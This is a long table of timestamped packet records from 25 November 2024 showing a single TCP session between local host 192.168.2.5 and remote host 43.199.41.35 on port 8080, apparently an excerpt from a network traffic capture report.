Nov 25, 2024 11:10:22.374207020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.374546051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.374759912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.374806881 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.375391960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.375504017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.375556946 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.376252890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.392769098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.392791986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.392934084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.392957926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.393023968 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.393028021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.393891096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.393944979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.393995047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.394718885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.394768000 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.394797087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.395586014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.395639896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.395818949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.396619081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.396655083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.396675110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.397363901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.397414923 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.397458076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.398296118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.398344040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.398405075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.399151087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.399198055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.399203062 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.400017023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.400067091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.400105000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.400934935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.401026011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.401067972 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.401807070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.401856899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.401937962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.402723074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.402770996 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.402791977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.403564930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.403610945 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.403664112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.404541016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.404555082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.404591084 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.405352116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.405404091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.405461073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.406234026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.406280041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.406346083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.407116890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.407161951 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.407264948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.408003092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.408056974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.408106089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.408907890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.408953905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.409081936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.409801006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.409847975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.409890890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.410778999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.410794973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.410826921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.411545038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.411602020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.411642075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.412419081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.412467003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.412523031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.413450956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.413463116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.413492918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.414174080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.414223909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.414313078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.415092945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.415142059 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.415180922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.416003942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.416050911 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.416084051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.416840076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.416887999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.416965008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.417787075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.417838097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.417933941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.418662071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.418751001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.418776989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.419647932 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.419693947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.419759989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.420572042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.420625925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.420718908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.421421051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.421468973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.421473980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.422166109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.422214985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.422303915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.423098087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.423141956 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.423196077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.423970938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.424026012 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.424047947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.479598045 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.527633905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.527781963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.527842999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.528345108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.528400898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.528445959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.528487921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.529145002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.529162884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.529192924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.530035973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.530061960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.530086994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.530920982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.530972004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.530977964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.531737089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.531781912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.531826973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.532615900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.532680988 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.560448885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.560610056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.560664892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.560820103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.560916901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.561003923 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.561819077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.561989069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.562036991 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.562108040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.562938929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.562973976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.562983990 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.563786030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.563862085 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.563890934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.564676046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.564717054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.564826012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.565562963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.565614939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.565676928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.566468000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.566519022 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.566546917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.567322016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.567364931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.567436934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.568212032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.568249941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.568278074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.585006952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.585063934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.585128069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.585557938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.585602999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.585608006 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.586355925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.586421967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.586427927 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.587198019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.587241888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.587291002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.588057041 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.588100910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.588177919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.588932991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.588990927 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.589049101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.589848042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.589896917 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.589956045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.590718985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.590775013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.590888977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.591618061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.591662884 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.591732025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.592494011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.592540026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.592550993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.593399048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.593446970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.593575001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.594310999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.594355106 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.594427109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.595160961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.595206022 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.595258951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.596050024 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.596101999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.596177101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.596956015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.596982956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.596997976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.597822905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.597866058 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.597939968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.598742962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.598783970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.598854065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.599612951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.599682093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.599699974 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.600477934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.600526094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.600621939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.601356030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.601408958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.601449966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.602236986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.602288008 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.602356911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.603137970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.603182077 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.603195906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.604017973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.604064941 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.604121923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.604927063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.604976892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.605016947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.605798006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.605815887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.605845928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.606714010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.606769085 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.606818914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.607573032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.607626915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.607656002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.608454943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.608505964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.608556032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.609361887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.609409094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.609452009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.610282898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.610332966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.610398054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.611136913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.611181974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.611243010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.612031937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.612081051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.612153053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.612895966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.612932920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.612941980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.613764048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.613814116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.613879919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.614713907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.614727020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.614764929 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.615530014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.615581036 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.615705967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.616420984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.616471052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.719935894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.720062971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.720123053 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.720347881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.720464945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.720509052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.721251011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.721371889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.721415043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.722135067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.722287893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.722332001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.723056078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.723068953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.723119020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.723923922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.723975897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.724020004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.724813938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.724904060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.724955082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.752851009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.752918959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.752994061 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.753037930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.753221035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.753266096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.753333092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.754132986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.754180908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.754228115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.755029917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.755079031 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.755129099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.755923986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.755973101 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.756016016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.756798029 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.756894112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.756917000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.757694960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.757750034 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.757805109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.758580923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.758626938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.758687019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.759459972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.759505033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.759552002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.760348082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.760430098 CET	49705	8080	192.168.2.5	43.199.41.35
